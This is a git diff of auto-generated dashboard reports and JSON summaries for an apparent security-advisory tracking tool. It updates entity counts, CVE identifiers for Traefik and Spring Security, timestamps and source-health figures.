 | Vue | `frameworks` | `history-full` | `yes` | `yes` | `15` | `1` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `14` | `2024-10-24T19:12:14.925352Z` |
diff --git a/08-threat-intel/generated/dashboard/docs/entity-catalog-report.html b/08-threat-intel/generated/dashboard/docs/entity-catalog-report.html
index 0c51cf79..26566915 100644
--- a/08-threat-intel/generated/dashboard/docs/entity-catalog-report.html
+++ b/08-threat-intel/generated/dashboard/docs/entity-catalog-report.html
@@ -88,14 +88,14 @@
       
工作台内置镜像页:分层实体覆盖、history-full 完整度和 workflow 统计。
# 分层实体覆盖与完整度报告
 
-- 生成时间: `2026-03-20T15:46:05+00:00`
-- 已编目实体: `97`
+- 生成时间: `2026-03-21T13:36:59+00:00`
+- 已编目实体: `99`
 - 待编目 backlog: `17`
 - history-full 已完成: `40`
-- latest green: `97`
-- workflow 完整: `97`
-- 版本映射完整: `49`
-- 官方源覆盖: `97`
+- latest green: `99`
+- workflow 完整: `99`
+- 版本映射完整: `51`
+- 官方源覆盖: `99`
 - 插件 history-full 已完成: `4`
 
 ## 系统分层摘要
@@ -152,11 +152,11 @@
 | shopware | 1 | 1 | 1 | 0 | 1 | 0 |
 | spring-boot | 2 | 0 | 2 | 1 | 2 | 0 |
 | spring-framework | 1 | 0 | 1 | 0 | 1 | 0 |
-| spring-security | 1 | 0 | 1 | 0 | 1 | 0 |
+| spring-security | 2 | 0 | 2 | 1 | 2 | 0 |
 | strapi | 1 | 1 | 1 | 0 | 1 | 0 |
 | sveltekit | 2 | 0 | 2 | 2 | 2 | 0 |
 | symfony | 2 | 0 | 2 | 2 | 2 | 0 |
-| traefik | 2 | 0 | 2 | 1 | 2 | 0 |
+| traefik | 3 | 0 | 3 | 2 | 3 | 1 |
 | undici | 3 | 0 | 3 | 2 | 3 | 1 |
 | vite | 5 | 1 | 5 | 4 | 5 | 3 |
 | vue | 2 | 1 | 2 | 1 | 2 | 0 |
diff --git a/08-threat-intel/generated/dashboard/docs/entity-discovery-backlog.html b/08-threat-intel/generated/dashboard/docs/entity-discovery-backlog.html
index 2a71e4d6..419f5c25 100644
--- a/08-threat-intel/generated/dashboard/docs/entity-discovery-backlog.html
+++ b/08-threat-intel/generated/dashboard/docs/entity-discovery-backlog.html
@@ -88,7 +88,7 @@
       
工作台内置镜像页:待编目 repo / 插件 / 包 backlog 与等待原因。
# 分层实体发现 Backlog
 
-- 生成时间: `2026-03-20T15:46:05+00:00`
+- 生成时间: `2026-03-21T13:36:59+00:00`
 - 待编目数量: `17`
 
 | candidate_id | root_system | entity_type | risk | reason | waiting_for | source |
diff --git a/08-threat-intel/generated/dashboard/docs/source-catalog-audit.html b/08-threat-intel/generated/dashboard/docs/source-catalog-audit.html
index 246c473d..0a261f0b 100644
--- a/08-threat-intel/generated/dashboard/docs/source-catalog-audit.html
+++ b/08-threat-intel/generated/dashboard/docs/source-catalog-audit.html
@@ -88,7 +88,7 @@
       
工作台内置镜像页:active/retired source、replacement map 与覆盖摘要。
# Source Catalog Audit
 
-- generated_at: `2026-03-20T15:45:44+00:00`
+- generated_at: `2026-03-21T09:17:05+00:00`
 - systems: `62`
 - sources: `179`
 - active_sources: `101`
diff --git a/08-threat-intel/generated/dashboard/docs/testing-completeness-report.html b/08-threat-intel/generated/dashboard/docs/testing-completeness-report.html
index c0dc69a1..f8a1859a 100644
--- a/08-threat-intel/generated/dashboard/docs/testing-completeness-report.html
+++ b/08-threat-intel/generated/dashboard/docs/testing-completeness-report.html
@@ -88,16 +88,16 @@
       
工作台内置镜像页:89 条 advisory 最新完整度、family 矩阵与 ingest 健康度。
# 全库 Advisory 完整度报告
 
-- 生成时间: `2026-03-20T15:46:06+00:00`
+- 生成时间: `2026-03-21T13:36:59+00:00`
 - 最新 advisory 完整度: `89/89` `verified-real`
 - 合成验证数量: `0`
 - 阻塞数量: `0`
 - 人工/待补证据数量: `0`
 - 完整度百分比: `100.0%`
-- active source 全绿: `101/101`
-- source open alerts: `0`
+- active source 全绿: `26/101`
+- source open alerts: `75`
 - 最近一次 source 全绿: `2026-03-20T15:45:58+00:00`
-- 已编目实体: `97`
+- 已编目实体: `99`
 - 待编目 backlog: `17`
 
 ## 系统覆盖矩阵
@@ -112,10 +112,10 @@
 ## 分层实体完整度
 
 - history-full 已完成: `40`
-- latest green: `97`
-- workflow 完整: `97`
-- 版本映射完整: `49`
-- 官方源覆盖: `97`
+- latest green: `99`
+- workflow 完整: `99`
+- 版本映射完整: `51`
+- 官方源覆盖: `99`
 - 插件 history-full 已完成: `4`
 
 ## 历史阻塞项修复纪要
@@ -129,10 +129,12 @@
 
 ## Ingest / Source 健康度
 
-- source failures: `0`
+- source failures: `2`
 - active sources: `101`
-- green sources: `101`
-- open alerts: `0`
+- green sources: `26`
+- open alerts: `75`
+- directus::OSV Directus::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Read timed out. (read timeout=30)
+- moodle::OSV Moodle::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Read timed out. (read timeout=30)
 
 ## 剩余风险说明
 
diff --git a/08-threat-intel/generated/dashboard/entities.json b/08-threat-intel/generated/dashboard/entities.json
index 22f91e0c..f2cead6c 100644
--- a/08-threat-intel/generated/dashboard/entities.json
+++ b/08-threat-intel/generated/dashboard/entities.json
@@ -5468,6 +5468,37 @@
       }
     ]
   },
+  {
+    "entity_id": "spring-security--project--org-springframework-security-spring-security-web",
+    "entity_type": "project",
+    "display_name": "org.springframework.security:spring-security-web",
+    "parent_entity_id": "spring-security",
+    "root_system_id": "spring-security",
+    "category": "frameworks",
+    "ecosystem": "org.springframework.security:spring-security-web",
+    "official": true,
+    "status": "cataloged",
+    "history_policy": "history-full",
+    "repo_url": "",
+    "package_registry": "https://www.npmjs.com/package/org.springframework.security:spring-security-web",
+    "marketplace_url": "",
+    "latest_version": "6.5.9",
+    "version_scheme": "semver-ish",
+    "last_discovered_at": "2026-03-20T20:46:26+00:00",
+    "last_synced_at": "2026-03-20T20:46:26+00:00",
+    "history_backfill_status": "seeded",
+    "latest_sync_status": "green",
+    "official_source_covered": true,
+    "advisory_count": 1,
+    "workflow_complete_advisory_count": 1,
+    "version_mapped_advisory_count": 1,
+    "first_advisory_at": "2026-03-20T00:31:28+00:00",
+    "latest_advisory_at": "2026-03-20T20:46:26+00:00",
+    "advisory_ids": [
+      "spring-security--CVE-2026-22732"
+    ],
+    "source_refs": []
+  },
   {
     "entity_id": "spring-security",
     "entity_type": "system",
@@ -5482,22 +5513,23 @@
     "repo_url": "",
     "package_registry": "",
     "marketplace_url": "",
-    "latest_version": "",
+    "latest_version": "6.5.9",
     "version_scheme": "vendor",
-    "last_discovered_at": "",
-    "last_synced_at": "",
+    "last_discovered_at": "2026-03-20T20:46:26+00:00",
+    "last_synced_at": "2026-03-20T20:46:26+00:00",
     "history_backfill_status": "seeded",
     "latest_sync_status": "green",
     "official_source_covered": true,
-    "advisory_count": 3,
-    "workflow_complete_advisory_count": 3,
-    "version_mapped_advisory_count": 0,
-    "first_advisory_at": "",
-    "latest_advisory_at": "",
+    "advisory_count": 4,
+    "workflow_complete_advisory_count": 4,
+    "version_mapped_advisory_count": 1,
+    "first_advisory_at": "2026-03-20T00:31:28+00:00",
+    "latest_advisory_at": "2026-03-20T20:46:26+00:00",
     "advisory_ids": [
       "spring-security--3da31f4883",
       "spring-security--7817f6fd2f",
-      "spring-security--9516ccd1a4"
+      "spring-security--9516ccd1a4",
+      "spring-security--CVE-2026-22732"
     ],
     "source_refs": [
       {
@@ -5777,6 +5809,37 @@
       }
     ]
   },
+  {
+    "entity_id": "traefik--extension--github-com-traefik-traefik-v3",
+    "entity_type": "extension",
+    "display_name": "traefik / traefik / v3",
+    "parent_entity_id": "traefik",
+    "root_system_id": "traefik",
+    "category": "servers",
+    "ecosystem": "github.com",
+    "official": false,
+    "status": "cataloged",
+    "history_policy": "history-full",
+    "repo_url": "https://github.com/traefik/traefik",
+    "package_registry": "",
+    "marketplace_url": "",
+    "latest_version": "3.7.0-ea.2",
+    "version_scheme": "semver-ish",
+    "last_discovered_at": "2026-03-20T15:46:41+00:00",
+    "last_synced_at": "2026-03-20T15:46:41+00:00",
+    "history_backfill_status": "seeded",
+    "latest_sync_status": "green",
+    "official_source_covered": true,
+    "advisory_count": 1,
+    "workflow_complete_advisory_count": 1,
+    "version_mapped_advisory_count": 1,
+    "first_advisory_at": "2026-03-20T15:43:01+00:00",
+    "latest_advisory_at": "2026-03-20T15:46:41+00:00",
+    "advisory_ids": [
+      "traefik--CVE-2026-32305"
+    ],
+    "source_refs": []
+  },
   {
     "entity_id": "traefik--repo--github-com-traefik-traefik-v3",
     "entity_type": "repo",
@@ -5793,16 +5856,16 @@
     "marketplace_url": "",
     "latest_version": "2.11.6",
     "version_scheme": "semver-ish",
-    "last_discovered_at": "2026-03-18T13:59:10+00:00",
-    "last_synced_at": "2026-03-18T13:59:10+00:00",
+    "last_discovered_at": "2026-03-20T15:46:26+00:00",
+    "last_synced_at": "2026-03-20T15:46:26+00:00",
     "history_backfill_status": "complete",
     "latest_sync_status": "green",
     "official_source_covered": true,
-    "advisory_count": 16,
-    "workflow_complete_advisory_count": 16,
-    "version_mapped_advisory_count": 16,
+    "advisory_count": 17,
+    "workflow_complete_advisory_count": 17,
+    "version_mapped_advisory_count": 17,
     "first_advisory_at": "2024-07-09T19:34:07+00:00",
-    "latest_advisory_at": "2026-03-18T13:59:10+00:00",
+    "latest_advisory_at": "2026-03-20T15:46:26+00:00",
     "advisory_ids": [
       "traefik--CVE-2024-39321",
       "traefik--CVE-2024-45410",
@@ -5816,6 +5879,7 @@
       "traefik--CVE-2026-26999",
       "traefik--CVE-2026-29054",
       "traefik--CVE-2026-29777",
+      "traefik--CVE-2026-32595",
       "traefik--GHSA-4hjq-9h5c-252j",
       "traefik--GHSA-5423-jcjm-2gpv",
       "traefik--GHSA-gv8r-9rw9-9697",
@@ -5839,16 +5903,16 @@
     "marketplace_url": "",
     "latest_version": "2.11.6",
     "version_scheme": "vendor",
-    "last_discovered_at": "2026-03-18T13:59:10+00:00",
-    "last_synced_at": "2026-03-18T13:59:10+00:00",
+    "last_discovered_at": "2026-03-20T15:46:41+00:00",
+    "last_synced_at": "2026-03-20T15:46:41+00:00",
     "history_backfill_status": "seeded",
     "latest_sync_status": "green",
     "official_source_covered": true,
-    "advisory_count": 43,
-    "workflow_complete_advisory_count": 43,
-    "version_mapped_advisory_count": 16,
+    "advisory_count": 45,
+    "workflow_complete_advisory_count": 45,
+    "version_mapped_advisory_count": 18,
     "first_advisory_at": "2024-07-09T19:34:07+00:00",
-    "latest_advisory_at": "2026-03-18T13:59:10+00:00",
+    "latest_advisory_at": "2026-03-20T15:46:41+00:00",
     "advisory_ids": [
       "traefik--05879db0a0",
       "traefik--073109115e",
@@ -5884,6 +5948,8 @@
       "traefik--CVE-2026-26999",
       "traefik--CVE-2026-29054",
       "traefik--CVE-2026-29777",
+      "traefik--CVE-2026-32305",
+      "traefik--CVE-2026-32595",
       "traefik--GHSA-4hjq-9h5c-252j",
       "traefik--GHSA-5423-jcjm-2gpv",
       "traefik--GHSA-gv8r-9rw9-9697",
diff --git a/08-threat-intel/generated/dashboard/summary.json b/08-threat-intel/generated/dashboard/summary.json
index 86c73679..7b84fde2 100644
--- a/08-threat-intel/generated/dashboard/summary.json
+++ b/08-threat-intel/generated/dashboard/summary.json
@@ -1,9 +1,9 @@
 {
-  "generated_at": "2026-03-20T15:46:06+00:00",
-  "advisory_count": 2399,
+  "generated_at": "2026-03-21T13:36:59+00:00",
+  "advisory_count": 2402,
   "run_count": 140,
   "statuses": {
-    "triage-manual": 2310,
+    "triage-manual": 2313,
     "verified-real": 89
   },
   "run_statuses": {
@@ -155,20 +155,20 @@
   ],
   "monitoring": {
     "active_source_count": 101,
-    "green_source_count": 101,
-    "source_failure_count": 0,
-    "open_alert_count": 0,
+    "green_source_count": 26,
+    "source_failure_count": 75,
+    "open_alert_count": 75,
     "last_fully_green_run": "2026-03-20T15:45:58+00:00"
   },
   "entity_coverage": {
-    "generated_at": "2026-03-20T15:46:05+00:00",
-    "cataloged_entity_total": 97,
+    "generated_at": "2026-03-21T13:36:59+00:00",
+    "cataloged_entity_total": 99,
     "candidate_entity_total": 17,
     "history_full_complete_count": 40,
-    "latest_green_count": 97,
-    "workflow_complete_count": 97,
-    "version_mapped_count": 49,
-    "official_source_covered_count": 97,
+    "latest_green_count": 99,
+    "workflow_complete_count": 99,
+    "version_mapped_count": 51,
+    "official_source_covered_count": 99,
     "plugin_history_full_count": 4,
     "systems": [
       {
@@ -1497,21 +1497,31 @@
       {
         "system_id": "spring-security",
         "display_name": "Spring Security",
-        "cataloged_entity_total": 1,
-        "child_entity_total": 0,
+        "cataloged_entity_total": 2,
+        "child_entity_total": 1,
         "candidate_entity_total": 0,
-        "workflow_complete_count": 1,
-        "version_mapped_count": 0,
-        "official_source_covered_count": 1,
+        "workflow_complete_count": 2,
+        "version_mapped_count": 1,
+        "official_source_covered_count": 2,
         "history_full_complete_count": 0,
-        "latest_green_count": 1,
+        "latest_green_count": 2,
         "version_gap_entity_count": 1,
         "workflow_gap_entity_count": 0,
         "plugin_total": 0,
         "entity_type_counts": {
-          "system": 1
+          "system": 1,
+          "project": 1
         },
-        "top_entities": [],
+        "top_entities": [
+          {
+            "entity_id": "spring-security--project--org-springframework-security-spring-security-web",
+            "entity_type": "project",
+            "display_name": "org.springframework.security:spring-security-web",
+            "advisory_count": 1,
+            "history_backfill_status": "seeded",
+            "latest_sync_status": "green"
+          }
+        ],
         "backlog_preview": []
       },
       {
@@ -1604,29 +1614,38 @@
       {
         "system_id": "traefik",
         "display_name": "Traefik",
-        "cataloged_entity_total": 2,
-        "child_entity_total": 1,
+        "cataloged_entity_total": 3,
+        "child_entity_total": 2,
         "candidate_entity_total": 0,
-        "workflow_complete_count": 2,
-        "version_mapped_count": 1,
-        "official_source_covered_count": 2,
+        "workflow_complete_count": 3,
+        "version_mapped_count": 2,
+        "official_source_covered_count": 3,
         "history_full_complete_count": 1,
-        "latest_green_count": 2,
+        "latest_green_count": 3,
         "version_gap_entity_count": 1,
         "workflow_gap_entity_count": 0,
-        "plugin_total": 0,
+        "plugin_total": 1,
         "entity_type_counts": {
           "system": 1,
-          "repo": 1
+          "repo": 1,
+          "extension": 1
         },
         "top_entities": [
           {
             "entity_id": "traefik--repo--github-com-traefik-traefik-v3",
             "entity_type": "repo",
             "display_name": "traefik / traefik / v3",
-            "advisory_count": 16,
+            "advisory_count": 17,
             "history_backfill_status": "complete",
             "latest_sync_status": "green"
+          },
+          {
+            "entity_id": "traefik--extension--github-com-traefik-traefik-v3",
+            "entity_type": "extension",
+            "display_name": "traefik / traefik / v3",
+            "advisory_count": 1,
+            "history_backfill_status": "seeded",
+            "latest_sync_status": "green"
           }
         ],
         "backlog_preview": []
@@ -1871,7 +1890,7 @@
     ],
     "queues": {
       "discovery_queue": 17,
-      "history_queue": 15,
+      "history_queue": 17,
       "latest_queue": 0,
       "workflow_queue": 2176
     }
@@ -3346,14 +3365,14 @@
     {
       "system_id": "traefik",
       "display_name": "Traefik",
-      "total": 43,
+      "total": 45,
       "verified_real": 0,
       "verified_synthetic": 0,
       "blocked": 0,
-      "manual": 43,
+      "manual": 45,
       "browser_required": 0,
       "browser_present": 0,
-      "latest_update": "2026-03-18T13:59:10.423590Z",
+      "latest_update": "2026-03-20T15:46:41.715568Z",
       "category": "servers",
       "tier": "rolling-24m",
       "output_dir": "07-framework-security/servers/traefik",
@@ -3372,9 +3391,9 @@
         },
         {
           "family": "proxy-boundary",
-          "total": 37,
+          "total": 39,
           "verified_real": 0,
-          "manual": 37
+          "manual": 39
         },
         {
           "family": "request-smuggling",
@@ -3386,29 +3405,38 @@
       "entity_summary": {
         "system_id": "traefik",
         "display_name": "Traefik",
-        "cataloged_entity_total": 2,
-        "child_entity_total": 1,
+        "cataloged_entity_total": 3,
+        "child_entity_total": 2,
         "candidate_entity_total": 0,
-        "workflow_complete_count": 2,
-        "version_mapped_count": 1,
-        "official_source_covered_count": 2,
+        "workflow_complete_count": 3,
+        "version_mapped_count": 2,
+        "official_source_covered_count": 3,
         "history_full_complete_count": 1,
-        "latest_green_count": 2,
+        "latest_green_count": 3,
         "version_gap_entity_count": 1,
         "workflow_gap_entity_count": 0,
-        "plugin_total": 0,
+        "plugin_total": 1,
         "entity_type_counts": {
           "system": 1,
-          "repo": 1
+          "repo": 1,
+          "extension": 1
         },
         "top_entities": [
           {
             "entity_id": "traefik--repo--github-com-traefik-traefik-v3",
             "entity_type": "repo",
             "display_name": "traefik / traefik / v3",
-            "advisory_count": 16,
+            "advisory_count": 17,
             "history_backfill_status": "complete",
             "latest_sync_status": "green"
+          },
+          {
+            "entity_id": "traefik--extension--github-com-traefik-traefik-v3",
+            "entity_type": "extension",
+            "display_name": "traefik / traefik / v3",
+            "advisory_count": 1,
+            "history_backfill_status": "seeded",
+            "latest_sync_status": "green"
           }
         ],
         "backlog_preview": []
@@ -3418,17 +3446,26 @@
           "entity_id": "traefik--repo--github-com-traefik-traefik-v3",
           "entity_type": "repo",
           "display_name": "traefik / traefik / v3",
-          "advisory_count": 16,
+          "advisory_count": 17,
           "history_backfill_status": "complete",
           "latest_sync_status": "green"
+        },
+        {
+          "entity_id": "traefik--extension--github-com-traefik-traefik-v3",
+          "entity_type": "extension",
+          "display_name": "traefik / traefik / v3",
+          "advisory_count": 1,
+          "history_backfill_status": "seeded",
+          "latest_sync_status": "green"
         }
       ],
       "backlog_preview": [],
-      "entity_total": 2,
+      "entity_total": 3,
       "entity_backlog": 0,
       "entity_type_counts": {
         "system": 1,
-        "repo": 1
+        "repo": 1,
+        "extension": 1
       }
     },
     {
@@ -5105,6 +5142,82 @@
         "system": 1
       }
     },
+    {
+      "system_id": "spring-security",
+      "display_name": "Spring Security",
+      "total": 4,
+      "verified_real": 0,
+      "verified_synthetic": 0,
+      "blocked": 0,
+      "manual": 4,
+      "browser_required": 0,
+      "browser_present": 0,
+      "latest_update": "2026-03-20T20:46:26.164998Z",
+      "category": "frameworks",
+      "tier": "rolling-24m",
+      "output_dir": "07-framework-security/frameworks/spring-security",
+      "families": [
+        {
+          "family": "authz-bypass",
+          "total": 1,
+          "verified_real": 0,
+          "manual": 1
+        },
+        {
+          "family": "proxy-boundary",
+          "total": 3,
+          "verified_real": 0,
+          "manual": 3
+        }
+      ],
+      "entity_summary": {
+        "system_id": "spring-security",
+        "display_name": "Spring Security",
+        "cataloged_entity_total": 2,
+        "child_entity_total": 1,
+        "candidate_entity_total": 0,
+        "workflow_complete_count": 2,
+        "version_mapped_count": 1,
+        "official_source_covered_count": 2,
+        "history_full_complete_count": 0,
+        "latest_green_count": 2,
+        "version_gap_entity_count": 1,
+        "workflow_gap_entity_count": 0,
+        "plugin_total": 0,
+        "entity_type_counts": {
+          "system": 1,
+          "project": 1
+        },
+        "top_entities": [
+          {
+            "entity_id": "spring-security--project--org-springframework-security-spring-security-web",
+            "entity_type": "project",
+            "display_name": "org.springframework.security:spring-security-web",
+            "advisory_count": 1,
+            "history_backfill_status": "seeded",
+            "latest_sync_status": "green"
+          }
+        ],
+        "backlog_preview": []
+      },
+      "top_entities": [
+        {
+          "entity_id": "spring-security--project--org-springframework-security-spring-security-web",
+          "entity_type": "project",
+          "display_name": "org.springframework.security:spring-security-web",
+          "advisory_count": 1,
+          "history_backfill_status": "seeded",
+          "latest_sync_status": "green"
+        }
+      ],
+      "backlog_preview": [],
+      "entity_total": 2,
+      "entity_backlog": 0,
+      "entity_type_counts": {
+        "system": 1,
+        "project": 1
+      }
+    },
     {
       "system_id": "aspnet-core",
       "display_name": "ASP.NET Core",
@@ -5155,62 +5268,6 @@
         "system": 1
       }
     },
-    {
-      "system_id": "spring-security",
-      "display_name": "Spring Security",
-      "total": 3,
-      "verified_real": 0,
-      "verified_synthetic": 0,
-      "blocked": 0,
-      "manual": 3,
-      "browser_required": 0,
-      "browser_present": 0,
-      "latest_update": "",
-      "category": "frameworks",
-      "tier": "rolling-24m",
-      "output_dir": "07-framework-security/frameworks/spring-security",
-      "families": [
-        {
-          "family": "authz-bypass",
-          "total": 1,
-          "verified_real": 0,
-          "manual": 1
-        },
-        {
-          "family": "proxy-boundary",
-          "total": 2,
-          "verified_real": 0,
-          "manual": 2
-        }
-      ],
-      "entity_summary": {
-        "system_id": "spring-security",
-        "display_name": "Spring Security",
-        "cataloged_entity_total": 1,
-        "child_entity_total": 0,
-        "candidate_entity_total": 0,
-        "workflow_complete_count": 1,
-        "version_mapped_count": 0,
-        "official_source_covered_count": 1,
-        "history_full_complete_count": 0,
-        "latest_green_count": 1,
-        "version_gap_entity_count": 1,
-        "workflow_gap_entity_count": 0,
-        "plugin_total": 0,
-        "entity_type_counts": {
-          "system": 1
-        },
-        "top_entities": [],
-        "backlog_preview": []
-      },
-      "top_entities": [],
-      "backlog_preview": [],
-      "entity_total": 1,
-      "entity_backlog": 0,
-      "entity_type_counts": {
-        "system": 1
-      }
-    },
     {
       "system_id": "sveltekit",
       "display_name": "SvelteKit",
@@ -6271,13 +6328,13 @@
     "blocked": 0,
     "manual": 0,
     "verified_ratio": 100.0,
-    "complete": true,
-    "source_failure_count": 0,
+    "complete": false,
+    "source_failure_count": 75,
     "active_source_count": 101,
-    "open_alert_count": 0,
-    "cataloged_entity_total": 97,
+    "open_alert_count": 75,
+    "cataloged_entity_total": 99,
     "candidate_entity_total": 17,
-    "workflow_complete_count": 97,
-    "version_mapped_count": 49
+    "workflow_complete_count": 99,
+    "version_mapped_count": 51
   }
 }
diff --git a/08-threat-intel/generated/dashboard/systems.json b/08-threat-intel/generated/dashboard/systems.json
index 29e2fbf3..f7d181a9 100644
--- a/08-threat-intel/generated/dashboard/systems.json
+++ b/08-threat-intel/generated/dashboard/systems.json
@@ -1468,14 +1468,14 @@
   {
     "system_id": "traefik",
     "display_name": "Traefik",
-    "total": 43,
+    "total": 45,
     "verified_real": 0,
     "verified_synthetic": 0,
     "blocked": 0,
-    "manual": 43,
+    "manual": 45,
     "browser_required": 0,
     "browser_present": 0,
-    "latest_update": "2026-03-18T13:59:10.423590Z",
+    "latest_update": "2026-03-20T15:46:41.715568Z",
     "category": "servers",
     "tier": "rolling-24m",
     "output_dir": "07-framework-security/servers/traefik",
@@ -1494,9 +1494,9 @@
       },
       {
         "family": "proxy-boundary",
-        "total": 37,
+        "total": 39,
         "verified_real": 0,
-        "manual": 37
+        "manual": 39
       },
       {
         "family": "request-smuggling",
@@ -1508,29 +1508,38 @@
     "entity_summary": {
       "system_id": "traefik",
       "display_name": "Traefik",
-      "cataloged_entity_total": 2,
-      "child_entity_total": 1,
+      "cataloged_entity_total": 3,
+      "child_entity_total": 2,
       "candidate_entity_total": 0,
-      "workflow_complete_count": 2,
-      "version_mapped_count": 1,
-      "official_source_covered_count": 2,
+      "workflow_complete_count": 3,
+      "version_mapped_count": 2,
+      "official_source_covered_count": 3,
       "history_full_complete_count": 1,
-      "latest_green_count": 2,
+      "latest_green_count": 3,
       "version_gap_entity_count": 1,
       "workflow_gap_entity_count": 0,
-      "plugin_total": 0,
+      "plugin_total": 1,
       "entity_type_counts": {
         "system": 1,
-        "repo": 1
+        "repo": 1,
+        "extension": 1
       },
       "top_entities": [
         {
           "entity_id": "traefik--repo--github-com-traefik-traefik-v3",
           "entity_type": "repo",
           "display_name": "traefik / traefik / v3",
-          "advisory_count": 16,
+          "advisory_count": 17,
           "history_backfill_status": "complete",
           "latest_sync_status": "green"
+        },
+        {
+          "entity_id": "traefik--extension--github-com-traefik-traefik-v3",
+          "entity_type": "extension",
+          "display_name": "traefik / traefik / v3",
+          "advisory_count": 1,
+          "history_backfill_status": "seeded",
+          "latest_sync_status": "green"
         }
       ],
       "backlog_preview": []
@@ -1540,17 +1549,26 @@
         "entity_id": "traefik--repo--github-com-traefik-traefik-v3",
         "entity_type": "repo",
         "display_name": "traefik / traefik / v3",
-        "advisory_count": 16,
+        "advisory_count": 17,
         "history_backfill_status": "complete",
         "latest_sync_status": "green"
+      },
+      {
+        "entity_id": "traefik--extension--github-com-traefik-traefik-v3",
+        "entity_type": "extension",
+        "display_name": "traefik / traefik / v3",
+        "advisory_count": 1,
+        "history_backfill_status": "seeded",
+        "latest_sync_status": "green"
       }
     ],
     "backlog_preview": [],
-    "entity_total": 2,
+    "entity_total": 3,
     "entity_backlog": 0,
     "entity_type_counts": {
       "system": 1,
-      "repo": 1
+      "repo": 1,
+      "extension": 1
     }
   },
   {
@@ -3227,6 +3245,82 @@
       "system": 1
     }
   },
+  {
+    "system_id": "spring-security",
+    "display_name": "Spring Security",
+    "total": 4,
+    "verified_real": 0,
+    "verified_synthetic": 0,
+    "blocked": 0,
+    "manual": 4,
+    "browser_required": 0,
+    "browser_present": 0,
+    "latest_update": "2026-03-20T20:46:26.164998Z",
+    "category": "frameworks",
+    "tier": "rolling-24m",
+    "output_dir": "07-framework-security/frameworks/spring-security",
+    "families": [
+      {
+        "family": "authz-bypass",
+        "total": 1,
+        "verified_real": 0,
+        "manual": 1
+      },
+      {
+        "family": "proxy-boundary",
+        "total": 3,
+        "verified_real": 0,
+        "manual": 3
+      }
+    ],
+    "entity_summary": {
+      "system_id": "spring-security",
+      "display_name": "Spring Security",
+      "cataloged_entity_total": 2,
+      "child_entity_total": 1,
+      "candidate_entity_total": 0,
+      "workflow_complete_count": 2,
+      "version_mapped_count": 1,
+      "official_source_covered_count": 2,
+      "history_full_complete_count": 0,
+      "latest_green_count": 2,
+      "version_gap_entity_count": 1,
+      "workflow_gap_entity_count": 0,
+      "plugin_total": 0,
+      "entity_type_counts": {
+        "system": 1,
+        "project": 1
+      },
+      "top_entities": [
+        {
+          "entity_id": "spring-security--project--org-springframework-security-spring-security-web",
+          "entity_type": "project",
+          "display_name": "org.springframework.security:spring-security-web",
+          "advisory_count": 1,
+          "history_backfill_status": "seeded",
+          "latest_sync_status": "green"
+        }
+      ],
+      "backlog_preview": []
+    },
+    "top_entities": [
+      {
+        "entity_id": "spring-security--project--org-springframework-security-spring-security-web",
+        "entity_type": "project",
+        "display_name": "org.springframework.security:spring-security-web",
+        "advisory_count": 1,
+        "history_backfill_status": "seeded",
+        "latest_sync_status": "green"
+      }
+    ],
+    "backlog_preview": [],
+    "entity_total": 2,
+    "entity_backlog": 0,
+    "entity_type_counts": {
+      "system": 1,
+      "project": 1
+    }
+  },
   {
     "system_id": "aspnet-core",
     "display_name": "ASP.NET Core",
@@ -3277,62 +3371,6 @@
       "system": 1
     }
   },
-  {
-    "system_id": "spring-security",
-    "display_name": "Spring Security",
-    "total": 3,
-    "verified_real": 0,
-    "verified_synthetic": 0,
-    "blocked": 0,
-    "manual": 3,
-    "browser_required": 0,
-    "browser_present": 0,
-    "latest_update": "",
-    "category": "frameworks",
-    "tier": "rolling-24m",
-    "output_dir": "07-framework-security/frameworks/spring-security",
-    "families": [
-      {
-        "family": "authz-bypass",
-        "total": 1,
-        "verified_real": 0,
-        "manual": 1
-      },
-      {
-        "family": "proxy-boundary",
-        "total": 2,
-        "verified_real": 0,
-        "manual": 2
-      }
-    ],
-    "entity_summary": {
-      "system_id": "spring-security",
-      "display_name": "Spring Security",
-      "cataloged_entity_total": 1,
-      "child_entity_total": 0,
-      "candidate_entity_total": 0,
-      "workflow_complete_count": 1,
-      "version_mapped_count": 0,
-      "official_source_covered_count": 1,
-      "history_full_complete_count": 0,
-      "latest_green_count": 1,
-      "version_gap_entity_count": 1,
-      "workflow_gap_entity_count": 0,
-      "plugin_total": 0,
-      "entity_type_counts": {
-        "system": 1
-      },
-      "top_entities": [],
-      "backlog_preview": []
-    },
-    "top_entities": [],
-    "backlog_preview": [],
-    "entity_total": 1,
-    "entity_backlog": 0,
-    "entity_type_counts": {
-      "system": 1
-    }
-  },
   {
     "system_id": "sveltekit",
     "display_name": "SvelteKit",
diff --git a/08-threat-intel/generated/entity-catalog-report.md b/08-threat-intel/generated/entity-catalog-report.md
index 099986a5..bfda3333 100644
--- a/08-threat-intel/generated/entity-catalog-report.md
+++ b/08-threat-intel/generated/entity-catalog-report.md
@@ -1,13 +1,13 @@
 # 分层实体覆盖与完整度报告
 
-- 生成时间: `2026-03-20T15:46:05+00:00`
-- 已编目实体: `97`
+- 生成时间: `2026-03-21T13:36:59+00:00`
+- 已编目实体: `99`
 - 待编目 backlog: `17`
 - history-full 已完成: `40`
-- latest green: `97`
-- workflow 完整: `97`
-- 版本映射完整: `49`
-- 官方源覆盖: `97`
+- latest green: `99`
+- workflow 完整: `99`
+- 版本映射完整: `51`
+- 官方源覆盖: `99`
 - 插件 history-full 已完成: `4`
 
 ## 系统分层摘要
@@ -64,11 +64,11 @@
 | shopware | 1 | 1 | 1 | 0 | 1 | 0 |
 | spring-boot | 2 | 0 | 2 | 1 | 2 | 0 |
 | spring-framework | 1 | 0 | 1 | 0 | 1 | 0 |
-| spring-security | 1 | 0 | 1 | 0 | 1 | 0 |
+| spring-security | 2 | 0 | 2 | 1 | 2 | 0 |
 | strapi | 1 | 1 | 1 | 0 | 1 | 0 |
 | sveltekit | 2 | 0 | 2 | 2 | 2 | 0 |
 | symfony | 2 | 0 | 2 | 2 | 2 | 0 |
-| traefik | 2 | 0 | 2 | 1 | 2 | 0 |
+| traefik | 3 | 0 | 3 | 2 | 3 | 1 |
 | undici | 3 | 0 | 3 | 2 | 3 | 1 |
 | vite | 5 | 1 | 5 | 4 | 5 | 3 |
 | vue | 2 | 1 | 2 | 1 | 2 | 0 |
diff --git a/08-threat-intel/generated/entity-completeness.json b/08-threat-intel/generated/entity-completeness.json
index 9d3f1b34..a68743d7 100644
--- a/08-threat-intel/generated/entity-completeness.json
